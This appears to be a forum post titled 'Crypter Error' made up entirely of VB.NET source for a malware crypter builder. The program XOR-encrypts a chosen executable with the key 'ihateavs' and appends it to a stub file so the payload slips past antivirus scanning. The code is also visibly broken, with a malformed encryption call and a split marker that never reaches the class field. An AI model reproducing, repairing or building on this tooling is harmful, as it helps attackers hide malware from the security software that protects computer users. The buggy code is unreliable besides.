Crypter Error - Printable Version

Code:
Imports System.Text
Public Class Form1
    Dim filein, filename, stub, filesplit, Pass As String
    Dim openf As New OpenFileDialog
    Dim lol As New SaveFileDialog
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Const filesplit = "@VGhpc0lzTXlQYXNzd29yZEVuY3J5cHRlZCUyMQU29GdWNrWW91TXJBViUyMQ@"
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
            TextBox1.Text = openf.FileName
        Else : Exit Sub
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
            filename = lol.FileName
        Else : Exit Sub
        End If
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        filein = Space(LOF(1))
        FileGet(1, filein)
        FileClose(1)
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & filesplit & xEncryption(openf.FileName, Pass)(filein, "ihateavs"))
        FileClose(1)
        MsgBox("Crypted!")
        Me.Close()
    End Sub
   Public Function xEncryption(ByVal CodeKey As String, ByVal DataIn As String) As String
        Dim lonDataPtr As Long
        Dim strDataOut As String
        Dim temp As Integer
        Dim tempstring As String
        Dim intXOrValue1 As Integer
        Dim intXOrValue2 As Integer
        For lonDataPtr = 1 To Len(DataIn)
            intXOrValue1 = Asc(Mid$(DataIn, lonDataPtr, 1))
            intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))

            temp = (intXOrValue1 Xor intXOrValue2)
            tempstring = Hex(temp)
            If Len(tempstring) = 1 Then tempstring = "0" & tempstring
            strDataOut = strDataOut + tempstring
        Next lonDataPtr
        xEncryption = strDataOut
    End Function
End Class